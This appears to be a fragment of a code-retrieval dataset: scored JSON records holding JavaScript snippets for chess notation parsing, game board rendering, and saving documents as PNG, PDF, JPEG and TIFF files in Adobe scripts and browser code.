5;\n\t\tmap['d'] = 4, map['e'] = 3, map['f'] = 2;\n\t\tmap['g'] = 1, map['h'] = 0;\n\n\t\t// trim the everything from +\n\t\tif (coord.indexOf(\"+\") != -1)\n\t\t\tcoord = coord.substring(0, coord.indexOf(\"+\"));\n\t\t// let's trim the piece prefix\n\t\tif (/^[A-Z]/.test(coord) || /^[nbrqk]{1,1}[abcdefgh]{1,1}/.test(coord)) {\n\t\t\tcoord = coord.substr(1);\n\t\t}\n\n\t\t// the move is a taking move, we have to look for different\n\t\t// files then with pawns\n\t\tif (/x/.test(coord)) {\n\t\t\tvar tmp = coord.split(\"x\");\n\t\t\tif (tmp[0].length) {\n\t\t\t\tif (/[a-z][0-9]/.test(tmp[0])) {\n\t\t\t\t\textra[0] = 7-map[tmp[0].charAt(0)];\n\t\t\t\t\textra[1] = 8-tmp[0].charAt(1);\n\t\t\t\t}\n\t\t\t\telse if (/[a-z]/.test(tmp[0]))\n\t\t\t\t\textra[0] = 7-map[tmp[0]];\n\t\t\t\telse if (/[0-9]/.test(tmp[0]))\n\t\t\t\t\textra[1] = 8-tmp[0];\n\t\t\t}\n\t\t\tcoord = tmp[1];\n\t\t\ttaking = 7-map[tmp[0]];\n\t\t}\n\t\t\n\t\t// we have extra information on the from file\n\t\t// eg Rbd7\n\t\tif (/^[a-z]{2,2}/.test(coord)) {\n\t\t\textra[0] = 7-map[coord.substring(0,1)];\n\t\t\tcoord = coord.substring(1);\n\t\t}\n\n\t\t// we have the row no\n\t\t// eg R8d5\n\t\tif (/^[0-9][a-z][0-9]/.test(coord)) {\n\t\t\textra[1] = 8-coord.substring(0,1);\n\t\t\tcoord = coord.substring(1);\n\t\t}\n\t\t\n\t\t// we have both Ng8e7\n\t\tif (/^([a-z][0-9])[a-z][0-9]/.test(coord)) {\n\t\t\tvar tmp = coord.match(/^([a-z][0-9])[a-z][0-9]/);\n\t\t\textra[0] = 7-map[tmp[1].charAt(0)];\n\t\t\textra[1] = 8-tmp[1].charAt(1);\n\t\t\tcoord = coord.replace(/[a-z][0-9]/,\"\");\n\t\t}\n\n // we have Yahoo format, e2-e4\n\t\tif (/^([a-z][0-9])-([a-z][0-9])/.test(coord)) {\n\t\t\tvar tmp = coord.match(/^([a-z][0-9])-([a-z][0-9])/);\n\t\t\textra[0] = 7-map[tmp[1].charAt(0)];\n\t\t\textra[1] = 8-tmp[1].charAt(1);\n\t\t\tcoord = tmp[2];\n\t\t}\n\t\t\n var rtrn = new Array(8-coord.charAt(1),\n 7-map[coord.charAt(0)],\n extra, taking);\n\t\t\n return rtrn;\n\t}", "title": "" }, { "docid": "a2024ab53e75a32bbd0a41fad39ba954", "score": "0.5619668", "text": "function get_board() {\n return data.board;\n }", "title": "" }, { "docid": "c8510a8e9a94b92a200acc4628bf40cc", "score": "0.56148154", "text": "function getCoords(){\n if (typeof msg === \"undefined\")\n {\n coords = new Array();\n return coords;\n }\n else\n {\n themsg = msg.toString();\n msgparts = themsg.split(\" \");\n msgstring = \"\";\n var coords = new Array();\n for (var i = 0; i <msgparts.length;i+=2)\n {\n// var lat = Math.round(msgparts[i]*10000)/10000;\n// var lng = Math.round(msgparts[i+1]*10000)/10000;\n\t\tvar lat = msgparts[i];\n\t\tvar lng = msgparts[i+1];\n coords.push({x:lat,y:lng});\n }\n return coords;\n}\n}", "title": "" }, { "docid": "326b4180a3968fa715f4259fe99b351b", "score": "0.5600205", "text": "getTileData() {\n var data = \"\";\n\n // Loop through tiles\n for (var y = 0; y < this._height; y++) {\n\n data += \"[\"\n\n for (var x = 0; x < this._width; x++) {\n var tile = this.mapGetTile(x, y);\n data += tile.name;\n if ((x + 1) < this._width) { data += \", \"; }\n }\n\n data += \"], // \" + y;\n if ((y + 1) < this._height) { data += \"\\n\"; }\n }\n\n return data;\n }", "title": "" }, { "docid": "a58b29803c721fac28521c28663fe565", "score": "0.5597738", "text": "draw() {\n let str = ''\n\n for (let row = 0; row < this.height; row++) {\n str += '|'\n\n for (let col = 0; col < this.width; col++) {\n str += this.state[row][col];\n str += '|';\n }\n\n str += '\\n';\n }\n\n return str;\n }", "title": "" }, { "docid": "5d4f0cdacd7278658a4d9e2ffccdee6f", "score": "0.55866593", "text": "function drawBoard(board) {\n let disp = '';\n board.forEach((elmt, index) => {\n let obj;\n switch (elmt) {\n case 'x': obj = '\\ud83c\\uddfd '; break;\n case 'o': obj = '\\ud83c\\uddf4 '; break;\n default: obj = '\\u25a0 '; break;\n }\n disp += obj;\n if (index % 3 == 2) disp += '\\n';\n });\n return {\n embed: {\n color: 0x22ffaa,\n timestamp: new Date(),\n description: `${disp}`,\n footer: { text: msg.client.user.tag, icon_url: msg.client.user.displayAvatarURL },\n },\n };\n }", "title": "" }, { "docid": "4c466f81f40df7214712c9584637ee77", "score": "0.55803525", "text": "toString() {\r\n console.table(this.board);\r\n }", "title": "" }, { "docid": "144010e15a7de09bba1bacfb1a4c1a3e", "score": "0.5574583", "text": "getCoords(word) {\n return this.grid.getWordCoords(word);\n }", "title": "" }, { "docid": "3ac5e4ff9f86343481381ea38700a615", "score": "0.5570754", "text": "function layerText(str1, str2, x, y){\n var out = \"\";\n var lines1 = str1.split(\"\\n\");\n var lines2 = str2.split(\"\\n\");\n for(var i=0;i<lines1.length;i++){\n for(var j=0;j<lines1[i].length;j++){\n if( i-y > 0 && j-x > 0 &&\n i-y < lines2.length && j-x < lines2[i-y].length && \n lines2[i-y][j-x] != \" \"){\n out += lines2[i-y][j-x];\n }else{\n out += lines1[i][j];\n }\n }\n out += \"\\n\";\n }\n return out;\n}", "title": "" }, { "docid": "85b27fc7926e8d0a61059c655db92fac", "score": "0.5566858", "text": "function printBoard() {\n console.log(ticTacToe[0]);\n console.log(ticTacToe[1]);\n console.log(ticTacToe[2]);\n console.log(\"**************\");\n}", "title": "" }, { "docid": "c0ac52e9f9636cd218d070cc4a86fd15", "score": "0.55615854", "text": "function GetBoardState()\r\n{\r\n var state = \"\";\t\t\r\n var x, y;\r\n \r\n for (y = 0; y < 8; y++) \r\n {\r\n for(x = 0; x < 8; x++) \r\n {\r\n if (board[x][y].player == NONE)\r\n {\r\n state += \"E\";\r\n }\r\n else if (board[x][y].player == BLACK)\r\n {\r\n state += \"B\";\r\n }\r\n else if (board[x][y].player == WHITE)\r\n {\r\n state += \"W\";\r\n }\r\n }\r\n\t}\r\n \r\n return state;\r\n}", "title": "" }, { "docid": "84d00d610f9d99b316ef4d0303f8fdfd", "score": "0.55566883", "text": "function packCoordList(coords) {\n\tlet str = '';\n\tfor (let i = 0; i < coords.length; ++i) {\n\t\tstr += String.fromCharCode(((coords[i].x << 6) | coords[i].y) + 65);\n\t}\n\treturn str;\n}", "title": "" }, { "docid": "073a990243b3571061b1ed7a732e243f", "score": "0.5555208", "text": "toString () {\n let output = ''\n for (let x = 0; x < this.map.length; x++) {\n for (let y = 0; y < this.map[x].length; y++) {\n if (this.map[x][y] === 1) {\n output += '+ '\n } else {\n output += ' '\n }\n }\n output += '\\n'\n }\n return output\n }", "title": "" }, { "docid": "8c73a8624dbf07430f579b93f2c45c9c", "score": "0.5554629", "text": "returnPrologBoardAtom(string) {\n switch (string) {\n case \"empty\":\n return 0;\n break;\n case \"noVerticalWall\":\n return 1;\n break;\n case \"noWall\":\n return 2;\n break;\n case \"wall\":\n return 3;\n break;\n case \"verticalwall\":\n return 4;\n break;\n case \"player11\":\n return 5;\n break;\n case \"player12\":\n return 6;\n break;\n case \"player21\":\n return 7;\n break;\n case \"player22\":\n return 8;\n break;\n case \"null\":\n return 9;\n break;\n case \"startPlayer1\":\n return 10;\n break;\n case \"startPlayer2\":\n return 11;\n break;\n case \"winnerplayer2\":\n return 12;\n break;\n case \"winnerplayer1\":\n return 13;\n break;\n\n default:\n\n }\n }", "title": "" }, { "docid": "e8b4220cf83ddaa0df050b77b95f287a", "score": "0.5550762", "text": "function coordsForSquare(square) {\n return [square[0].charCodeAt(0) - \"a\".charCodeAt(0),\n square[1].charCodeAt(0) - \"1\".charCodeAt(0)]\n}", "title": "" }, { "docid": "ec6f4c53e94966b4d93a81cc54afc6ea", "score": "0.5549543", "text": "function whatIsTile(x, y) {\n return currentRoom[x][y];\n} // move to new file", "title": "" }, { "docid": "a775774827450f8a79d66c9db0a17a1f", "score": "0.5541725", "text": "function playerLocationClassImg(){\n let a = playerLocation[0];\n let b = playerLocation[1];\n return(`grid${a}-${b}`);\n}", "title": "" }, { "docid": "e9a0ad94853bdd5c547c2bfaccf684ec", "score": "0.55377805", "text": "getEnpassantFen() {\n const L = this.epSquares.length;\n if (!this.epSquares[L - 1]) return \"-\"; //no en-passant\n let res = \"\";\n this.epSquares[L - 1].forEach(sq => {\n res += V.CoordsToSquare(sq) + \",\";\n });\n return res.slice(0, -1); //remove last comma\n }", "title": "" }, { "docid": "e4421d15c574ca94d8fa8cd655bc67dc", "score": "0.5535033", "text": "printFormattedBoard() {\r\n let formattedString = '';\r\n this.state.forEach((cell, index) => {\r\n formattedString += cell ? ` ${cell} |` : ' |';\r\n if((index + 1) % 3 == 0) {\r\n formattedString = formattedString.slice(0,-1);\r\n if(index < 8) formattedString += '\\n\\u2015\\u2015\\u2015 \\u2015\\u2015\\u2015 \\u2015\\u2015\\u2015\\n';\r\n }\r\n });\r\n console.log('%c' + formattedString, 'color: #6d4e42;font-size:16px');\r\n }", "title": "" }, { "docid": "5c52a00e05aefc9b7dda34b2bbdfb006", "score": "0.5532037", "text": "function getStone(board, x, y) {\n if (typeof x !== 'number') {\n y = x.y;\n x = x.x;\n }\n return board[y] && board[y][x];\n}", "title": "" }, { "docid": "85a5fbb7ba4e3a688b073c7673b6129d", "score": "0.5530398", "text": "function playGame(box) {\n var num = box.attr(\"id\");\n console.log(\"box variable: \" + box);\n var row = num.charAt(0);\n console.log(\"row variable: \" + row);\n var column = num.charAt(1);\n console.log(\"Column var : \" + column);\n\n //creating values to be used when placing a ship image or a bomb image\n if(board[row][column] == 1) {\n return \"SHIP\";\n };\n if (board[row][column] == 0) {\n return \"PEDO\";\n };\n\n}", "title": "" } ]
021bf0bb08638b3aa23e9c0920f752cc
getPNGOptions: Function to set the PNG saving options of the files using the PDFSaveOptions object.
[ { "docid": "d7c01d7531c0765099cc3052f8a5e694", "score": "0.6502438", "text": "function getPNGOptions(theScale) {\n\n var options = new ExportOptionsPNG24();\n\n options.antiAliasing = true;\n options.artBoardClipping = false;\n options.horizontalScale = theScale;\n options.verticalScale = theScale;\n options.saveAsHTML = false;\n options.transparency = true;\n\n return options;\n }", "title": "" } ]
[ { "docid": "a5c8a3468b508a5df1805d343006d2db", "score": "0.70625466", "text": "function getPDFOptions()\r{\r\t// Create the PDFSaveOptions object to set the PDF options\r\tvar pdfSaveOpts = new PDFSaveOptions();\r\t\r\t// Setting PDFSaveOptions properties. Please see the JavaScript Reference\r\t// for a description of these properties.\r\t// Add more properties here if you like\r\tpdfSaveOpts.acrobatLayers = false;\r\tpdfSaveOpts.colorBars = false;\r\tpdfSaveOpts.colorCompression = CompressionQuality.ZIP8BIT;\r\tpdfSaveOpts.grayscaleCompression = CompressionQuality.ZIP8BIT;\r\tpdfSaveOpts.compressArt = true; //default\r pdfSaveOpts.compatibility = PDFCompatibility.ACROBAT6;\r\t// pdfSaveOpts.enablePlainText = true;\r\tpdfSaveOpts.generateThumbnails = true; // default\r\tpdfSaveOpts.optimization = true;\r pdfSaveOpts.preserveEditability = false;\r\t// pdfSaveOpts.pDFPreset = \"myPartial\"; // better not to depend on this being there\r\t\r\t// uncomment to view the pdfs after conversion.\r\tpdfSaveOpts.viewAfterSaving = false;\r\t\r\r\treturn pdfSaveOpts;\r}", "title": "" }, { "docid": "f78b510152660f8f13fdbd64707b351e", "score": "0.5612963", "text": "function getPNGOptions(){\n var result = {};\n (html.library.png.frameIT.hasClass('active')) ? result.frameIT = true : result.frameIT = false;\n (html.library.png.qrCode.hasClass('active')) ? result.qrCode = true : result.qrCode = false;\n (html.library.png.printMode.hasClass('active')) ? result.printMode = true : result.printMode = false;\n return result;\n }", "title": "" }, { "docid": "41a0d580f7e24be549ed606013255577", "score": "0.5335017", "text": "function initExportOptions(exportOptions) {\n exportOptions.destination = new String(\"\");\n exportOptions.fileNamePrefix = new String(\"untitled_\");\n exportOptions.exportType = 0;\n exportOptions.visibleOnly = true;\n exportOptions.fileType = pngIndex;\n exportOptions.icc = true;\n exportOptions.pngTransparency = true;\n exportOptions.pngInterlaced = false;\n exportOptions.pngTrim = false;\n exportOptions.png8 = false;\n exportOptions.jpegQuality = 8;\n\n try {\n exportOptions.destination = Folder(app.activeDocument.fullName.parent).fsName; // destination folder\n var tmp = app.activeDocument.fullName.name;\n exportOptions.fileNamePrefix = decodeURI(tmp.substring(0, tmp.indexOf(\".\"))); // filename body part\n } catch (e) {\n exportOptions.destination = new String(\"\");\n exportOptions.fileNamePrefix = app.activeDocument.name; // filename body part\n }\n}", "title": "" }, { "docid": "57824589c3125aeff3a1c0fc3a846a56", "score": "0.5107679", "text": "function _svg2png(options) {\n var scale = 5;\n var xml = toXML(options);\n var canvas = document.createElement(\"canvas\");\n var context = canvas.getContext(\"2d\");\n var source = new Image();\n var $container = $('<div style=\"display:none;\"/>').append($(canvas));\n $(\"body\").append($container);\n canvas.width = xml.width * scale;\n canvas.height = xml.height * scale;\n source.src = \"data:image/svg+xml;base64,\" + window.btoa(xml.string);\n source.onload = function() {\n context.drawImage(source, 0, 0, canvas.width, canvas.height);\n const imageData = canvas.toDataURL(\"image/png\");\n _downloadPNGData(imageData, options.title);\n $container.remove();\n };\n}", "title": "" }, { "docid": "52d6be3680ad3c281e1730524de8eb90", "score": "0.5098457", "text": "function _canvas2png(options) {\n const $canvas = options.$el.find(\".charts-viewer-canvas\");\n try {\n if ($canvas.width() !== 0 && $canvas.height() !== 0) {\n var newCanvas = document.createElement(\"canvas\");\n newCanvas.width = $canvas.outerWidth(true);\n newCanvas.height = $canvas.outerHeight(true);\n var newContext = newCanvas.getContext(\"2d\");\n newContext.save();\n newContext.fillStyle = \"rgb(255,255,255)\";\n newContext.fillRect(0, 0, newCanvas.width, newCanvas.height);\n newContext.restore();\n newContext.translate(0, 0);\n newContext.textAlign = \"left\";\n newContext.textBaseline = \"top\";\n $canvas.children().each(function() {\n _toImage($(this), 0, 0, newContext);\n });\n const imgData = newCanvas.toDataURL(\"image/png\");\n if (imgData) {\n _downloadPNGData(imgData, options.title);\n }\n }\n } catch (err) {\n console.debug(\"FAILED - screenshot::_canvas2png() - \" + err);\n if (options.error) {\n options.error(\"Please reduce your visualization to a single panel and try again.\");\n }\n }\n}", "title": "" }, { "docid": "06aeea8c07fe9f4166b5ed8b15972650", "score": "0.5054904", "text": "function saveFile(docRef, fileNameBody, exportOptions) {\n switch (exportOptions.fileType) {\n case jpegIndex:\n var jpgSaveOptions = new JPEGSaveOptions();\n var saveFile = new File(exportOptions.destination + \"/\" + fileNameBody + \".jpg\");\n jpgSaveOptions.embedColorProfile = exportOptions.icc;\n jpgSaveOptions.quality = exportOptions.jpegQuality;\n docRef.saveAs(saveFile, jpgSaveOptions, true, Extension.LOWERCASE);\n break;\n case pngIndex:\n var pngS4WOptions = new ExportOptionsSaveForWeb();\n var saveFile = new File(exportOptions.destination + \"/\" + fileNameBody + \".png\");\n pngS4WOptions.format = SaveDocumentType.PNG;\n pngS4WOptions.PNG8 = exportOptions.png8;\n pngS4WOptions.transparency = exportOptions.pngTransparency;\n pngS4WOptions.interlaced = exportOptions.pngInterlaced;\n pngS4WOptions.includeProfile = exportOptions.icc;\n pngS4WOptions.quality = 100;\n docRef.exportDocument(saveFile, ExportType.SAVEFORWEB, pngS4WOptions);\n break;\n default:\n if (DialogModes.NO != app.playbackDisplayDialogs) {\n alert(\"Unexpected error\");\n }\n break;\n }\n}", "title": "" }, { "docid": "edc9c75315ba51304547dda97132ac33", "score": "0.50091994", "text": "function processMarkdeepSlidesOptions() {\n options = {\n aspectRatio: 16 / 9,\n theme: 'simple',\n fontSize: 28,\n diagramZoom: 1.0,\n totalSlideNumber: false,\n progressBar: true,\n breakOnHeadings: false,\n slideChangeHook: (oldSlide, newSlide) => {},\n modeChangeHook: (newMode) => {}\n };\n\n if (typeof markdeepSlidesOptions !== 'undefined') {\n options = Object.assign({}, options, markdeepSlidesOptions);\n }\n}", "title": "" }, { "docid": "b0804bcf49669f50e76981d84e092c9e", "score": "0.4998852", "text": "get gdprOptions() {\n return [\n { label: 'I Agree', value: 'agree' },\n ];\n }", "title": "" }, { "docid": "527f5a3699fc9caeb15d6baa767e0309", "score": "0.49651265", "text": "function processOptions(options) {\n if (options.ghostMode) {\n initGhostMode(options.ghostMode);\n }\n ghost.id = options.id;\n }", "title": "" }, { "docid": "aa0cc9c054aa418d722b34e9a6ef8673", "score": "0.47797203", "text": "getPng() {\n this.setSvgNodeAttributes(this.svgNode);\n return this.getSvgImage(this.svgNode.outerHTML);\n }", "title": "" }, { "docid": "a40e3d2b690ebfd5cd3fb52b2db38b43", "score": "0.47468364", "text": "outputOptions(options) { }", "title": "" }, { "docid": "c6fbd2220587c90c1d602222630ede10", "score": "0.471818", "text": "get paletteExtensionMode() {\n return this._getOption('paletteExtensionMode');\n }", "title": "" }, { "docid": "ef6b118d1304fcc528bcf4df15982479", "score": "0.4669049", "text": "function savePng(theUniqueID) {\n var svgtemp= document.getElementsByTagName(\"svg\")[0];\n \n // KS Refactor Design 2016 Override // See Note\n // Note: // Dynamic Chart width adjustment (width attr set to 100%) breaks the png saving function, however, a fixed pixel value breaks the dynamic window resizing feature.. this function call resets the state on window resize)\n set_dynamic_patch_ChartWidth_for_SVGSaving();\n \n saveSvgAsPng(svgtemp, theUniqueID+\"_Chart.png\", 3);\n //saveSvgAsPng(svgtemp, \"diagram.png\", 3);\n \n}", "title": "" }, { "docid": "719cda4c5197192c34054135697160bc", "score": "0.46660888", "text": "function saveFile( fileNameBody ) {\n\n\tvar saveFile;\n\n\tvar selectedFileType = fileTypes[exportInfo.fileType];\n\tswitch (selectedFileType) {\n\t\tcase 'JPG':\n\t\t\tdocRef.bitsPerChannel = BitsPerChannelType.EIGHT;\n\t\t\tsaveFile = new File(exportInfo.destination + \"/\" + fileNameBody + \".jpg\");\n\t\t\tjpgSaveOptions = new JPEGSaveOptions();\n\t\t\tjpgSaveOptions.embedColorProfile = exportInfo.icc;\n\t\t\t//jpgSaveOptions.quality = exportInfo.jpegQuality;\n\t\t\tjpgSaveOptions.quality = 12;\n\t\t\tdocRef.saveAs(saveFile, jpgSaveOptions, true, Extension.LOWERCASE);\n\t\t\tbreak;\n\t\tcase 'PSD':\n\t\t\tsaveFile = new File(exportInfo.destination + \"/\" + fileNameBody + \".psd\");\n\t\t\tpsdSaveOptions = new PhotoshopSaveOptions();\n\t\t\tpsdSaveOptions.embedColorProfile = exportInfo.icc;\n\t\t\t//psdSaveOptions.maximizeCompatibility = exportInfo.psdMaxComp;\n\t\t\tpsdSaveOptions.maximizeCompatibility = true;\n\t\t\tdocRef.saveAs(saveFile, psdSaveOptions, true, Extension.LOWERCASE);\n\t\t\tbreak;\n\t\tcase 'TIFF':\n\t\t\tsaveFile = new File(exportInfo.destination + \"/\" + fileNameBody + \".tif\");\n\t\t\ttiffSaveOptions = new TiffSaveOptions();\n\t\t\ttiffSaveOptions.embedColorProfile = exportInfo.icc;\n\t\t\ttiffSaveOptions.imageCompression = exportInfo.tiffCompression;\n\t\t\tif (TIFFEncoding.JPEG == exportInfo.tiffCompression) {\n\t\t\t\ttiffSaveOptions.jpegQuality = exportInfo.tiffJpegQuality;\n\t\t\t}\n\t\t\tdocRef.saveAs(saveFile, tiffSaveOptions, true, Extension.LOWERCASE);\n\t\t\tbreak;\n\t\tcase 'PNG':\n\t\t\tsaveFile = new File(exportInfo.destination + \"/\" + fileNameBody + \".png\");\n\t\t\tpngSaveOptions = new PNGSaveOptions();\n\t\t\tpngSaveOptions.interlaced = false;\n\t\t\tpngSaveOptions.matte = MatteType.NONE;\n\t\t\tpngSaveOptions.PNG8 = false; //24 bit PNG\n\t\t\tpngSaveOptions.transparency = true;\n\t\t\tdocRef.saveAs(saveFile, pngSaveOptions, true, Extension.LOWERCASE);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tif ( DialogModes.NO != app.playbackDisplayDialogs ) {\n\t\t\t\talert(strUnexpectedError);\n\t\t\t}\n\t\t\tbreak;\n\t}\n\n\treturn saveFile;\n\n}", "title": "" }, { "docid": "9cc0d71c52f094343301a8bfc43b34a0", "score": "0.4643571", "text": "function savePDF(){\n const { jsPDF } = window.jspdf;\n\n // make sure the midpoint markers are hidden\n// $(\".midptlabel\").css(\"display\",\"none\");\n\n var saveBounds = bounds();\n var pdfwidth = Math.ceil(saveBounds.maxX-saveBounds.minX);\n var pdfheight = Math.ceil(saveBounds.maxY-saveBounds.minY);\n var xoff = -saveBounds.minX;\n var yoff = -saveBounds.minY;\n var layout = \"portrait\";\n\n if (pdfwidth>pdfheight) layout=\"landscape\";\n var thepdf = new jsPDF(layout, \"pt\", [pdfheight, pdfwidth]);\n\n // This produces a PDF which is approx. 33% larger than on screen;\n // changing \"scale\" to 75% broke the offsets and/or width-height.\n svg2pdf(document.getElementById(\"thesvg\"), thepdf, {\n xOffset: xoff,\n yOffset: yoff,\n scale: 1,\n });\n thepdf.save(\"graph.pdf\");\n return 0;\n}", "title": "" }, { "docid": "eba185d2414c4239dd796c818d99a672", "score": "0.46434414", "text": "async saveAsPng(outputPath) {\n await this.saveAsPngWithPaletteOffset(outputPath, 0)\n }", "title": "" }, { "docid": "a6009819739f5b18377f3162590079d0", "score": "0.4643023", "text": "function options(pages, {filename='', extension='', format, page, quality, matte, density, outline, archive}={}){\n var {fromMime, toMime, expected} = new Format(),\n archive = archive || 'canvas',\n ext = format || extension.replace(/@\\d+x$/i,'') || extname(filename),\n format = fromMime(toMime(ext) || ext),\n mime = toMime(format),\n pp = pages.length\n\n if(!ext) throw new Error(`Cannot determine image format (use a filename extension or 'format' argument)`)\n if (!format) throw new Error(`Unsupported file format \"${ext}\" (expected ${expected})`)\n if (!pp) throw new RangeError(`Canvas has no associated contexts (try calling getContext or newPage first)`)\n\n let padding, isSequence, pattern = filename.replace(/{(\\d*)}/g, (_, width) => {\n isSequence = true\n width = parseInt(width, 10)\n padding = isFinite(width) ? width : isFinite(padding) ? padding : -1\n return \"{}\"\n })\n\n // allow negative indexing if a specific page is specified\n let idx = page > 0 ? page - 1\n : page < 0 ? pp + page\n : undefined;\n\n if (isFinite(idx) && idx < 0 || idx >= pp) throw new RangeError(\n pp == 1 ? `Canvas only has a ‘page 1’ (${idx} is out of bounds)`\n : `Canvas has pages 1–${pp} (${idx} is out of bounds)`\n )\n\n pages = isFinite(idx) ? [pages[idx]]\n : isSequence || format=='pdf' ? pages\n : pages.slice(-1) // default to the 'current' context\n\n if (quality===undefined){\n quality = 0.92\n }else{\n if (typeof quality!='number' || !isFinite(quality) || quality<0 || quality>1){\n throw new TypeError(\"The quality option must be an number in the 0.0–1.0 range\")\n }\n }\n\n if (density===undefined){\n let m = (extension || basename(filename, ext)).match(/@(\\d+)x$/i)\n density = m ? parseInt(m[1], 10) : 1\n }else if (typeof density!='number' || !Number.isInteger(density) || density<1){\n throw new TypeError(\"The density option must be a non-negative integer\")\n }\n\n if (outline===undefined){\n outline = true\n }else if (format == 'svg'){\n outline = !!outline\n }\n\n return {filename, pattern, format, mime, pages, padding, quality, matte, density, outline, archive}\n}", "title": "" }, { "docid": "d0307e9d56817e0414e55aa7ad3ec07b", "score": "0.46238437", "text": "function exportFileToPNG24 (dest) {\n\tif ( app.documents.length > 0 ) {\n\t\tvar exportOptions = new ExportOptionsPNG24();\n\t\tvar type = ExportType.PNG24;\n\t\tvar fileSpec = new File(dest);\n\t\texportOptions.antiAliasing = true;\n\t\t//exportOptions.transparency = false;\n\t\t//exportOptions.saveAsHTML = true;\n\t\tapp.activeDocument.exportFile( fileSpec, type, exportOptions );\n\t}\n}", "title": "" }, { "docid": "37069da01463ff5a64b20abd7de570b2", "score": "0.462057", "text": "function saveOptions(options)\n{\n\tEZ.clearTimeout(saveOptions);\t\t\t\t\t//clear any pending save\n\t\n\toptions = EZ.options.call(options);\t\t\t\t//if String, keys w/o \"=\" set to true\n\t\t\t\t\n\tvar opts, rtnValue = '';\t\t\n\tvar timestamp = 0;\n\tvar file = EZ.test.app.files.options.file;\n\tif (options.resetAll)\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\topts = 'reset';\t\t\t\t\t\t\t\t//should reload after return\n\t\n\tvar exclude = options.resetTestOptions ? 'testOpt' : '';\n\topts = opts || EZ.field.getChangedValues('opt', exclude);\n\t\t\n\tvar saveKey = 'options';\n\tif (opts == 'reset' \n\t|| options.reload\n\t|| isDataChanged(saveKey, opts, options))\n\t{\t\t\t\n\t\tvar json, count = 0;\n\t\t//timestamp = EZ.test.app.files.updatedTimes.options || EZ.format.dateTime();\n\t\ttimestamp = EZ.format.dateTime();\n\t\t//=====================================================================================\n\t\tif (canSave(saveKey, timestamp, options))\n\t\t{\n\t\t\tif (opts instanceof Object)\t\t\t\t//if not \"reset\"\n\t\t\t{\n\t\t\t\tcount = Object.keys(opts).length;\n\t\t\t\t[].sortPlus.call(opts);\n\t\t\t\t//if ('EZ.test.app.files.updatedTimes.options'.ov())\n\t\t\t\t//opts.timestamp = timestamp;\n\t\t\t\tjson = 'EZ.test.app.options= \\t\\t//Saved @ ' + timestamp + '\\n' + EZ.stringify(opts);\n\t\t\t}\n\t\t\telse json = opts;\n\t\t\t\n\t\t\t\n\t\t\tfile.timestamp = timestamp;\t\n\t\t\tDWfile.write(options.url, json);\n\t\t\t//localStorage.setItem(g.projectName + '.options', json);\n\t\t\t//localStorage.setItem(g.projectName + '.nosave', json);\n\t\t\tlocalStorage.removeItem(g.projectName + '.nosave');\n\t\t}\n\t\t//=====================================================================================\n\t\telse\t\t\t\t\t\t\t\t\t\n\t\t{\t\t\t\t\t\t\t\t\t\t\t//save .nosave options if options not saved\n\t\t\tvar fieldValues = EZ.get(['nosave']);\n\t\t\tjson = JSON.stringify(fieldValues.valueMap);\n\t\t\tlocalStorage.setItem(g.projectName + '.nosave', json);\n\t\t}\n\t\t//=====================================================================================\t\t\t\n\t\tif (opts)\t\t\t\t\t\t\t\t\t\t//reset ??\n\t\t{\n\t\t\tvar value = EZ('allDefaultOptions').value;\n\t\t\tvalue = (count === 0) ? 'default options'\n\t\t\t\t : (EZ.debug()) ? 'reset (' + count + ') options'\n\t\t\t\t : 'reset all options';\n\t\t\tEZ.el.value = value;\t\t\t\t\t\t//update button displayed text\n\t\t}\n\t}\n\trtnValue = setTitle(saveKey, timestamp);\n\treturn rtnValue;\n}", "title": "" }, { "docid": "f606680e26376f88616514b134f38054", "score": "0.46165487", "text": "function SaveTiff_jpg(saveFile) {\n tiffSaveOptions = new TiffSaveOptions(); //Create an object to hold the different saveoptions\n tiffSaveOptions.embedColorProfile = true; //Save the file WITH information on which colorprofile to use\n tiffSaveOptions.imageCompression = TIFFEncoding.JPEG; //Set compression to LZW\n tiffSaveOptions.jpegQuality = 9; //JPG quality is set to 9 on a scale from 0 to 12\n tiffSaveOptions.alphaChannels = false; //Do not include a fourth colorchannel with transparancy information\n tiffSaveOptions.byteOrder = ByteOrder.IBM; //File is stored as little endian (as opposed to big endian used on Mac)\n tiffSaveOptions.layers = false; //Flatten the image before saving\n\n //Save the file. (Parameters: Fileobject, SaveOptionsObject, asCopy, ExtensionCase)\n activeDocument.saveAs(saveFile, tiffSaveOptions, true, Extension.LOWERCASE);\n}", "title": "" }, { "docid": "09bf4e424d63bbc8c4a9fe015b8abff8", "score": "0.4588957", "text": "function saveJPEG(doc, saveFile, qty) {\n var saveOptions = new JPEGSaveOptions();\n saveOptions.embedColorProfile = true;\n saveOptions.formatOptions = FormatOptions.STANDARDBASELINE;\n saveOptions.matte = MatteType.NONE;\n saveOptions.quality = qty;\n doc.saveAs(saveFile, saveOptions, true);\n }", "title": "" }, { "docid": "e706b725f4c9cc58e6a6eeacb43642b4", "score": "0.45218992", "text": "function saveJPEG( doc, saveFile, qty, width, height ) { \r\n\tvar saveOptions = new JPEGSaveOptions();\r\n\tsaveOptions.embedColorProfile = false;\r\n\tsaveOptions.formatOptions = FormatOptions.STANDARDBASELINE;\r\n\tsaveOptions.matte = MatteType.NONE;\r\n\tsaveOptions.quality = qty;\r\n\tdoc.saveAs( saveFile, saveOptions, true );\r\n}", "title": "" }, { "docid": "f823d42c89ef33a9077b5e71bdecf423", "score": "0.45216906", "text": "_setOptions(options) {\n options = options || {};\n return this._setFileOptions(options).then(() => {\n if (options.buildIdentifier) {\n this.initByIdentifier(options.buildIdentifier);\n }\n else if (this._projectConfig.exists()) {\n return this._projectConfig.checkConfig().then(() => {\n const deviceGroup = new DeviceGroup().initByIdFromConfig(this._projectConfig.deviceGroupId, this._projectConfig.type);\n return deviceGroup.getEntity().then(() => {\n if (deviceGroup.currentDeploymentId) {\n this.initById(deviceGroup.currentDeploymentId);\n }\n return Promise.resolve();\n });\n });\n }\n return Promise.resolve();\n });\n }", "title": "" }, { "docid": "e34f4222005f57816f1e90ef7e5c08ef", "score": "0.45023146", "text": "function savePNG(){\n // for options see https://github.com/exupero/saveSvgAsPng\n\n // make sure the midpoint markers are hidden\n// $(\".midptlabel\").css(\"display\",\"none\");\n\n // get the transparency option if there is a control for it:\n if (document.getElementById(\"input_transparent\")!=null){\n var transparentBG = $(\"#input_transparent\").prop('checked');\n } else { // default to true if there is no control\n var transparentBG = true;\n }\n var saveBounds = bounds();\n var saveOptions = {\n scale: 2.0, // larger, better quality\n backgroundColor: (transparentBG?\"#fff0\":\"#fff\"), // transparent or not\n left: 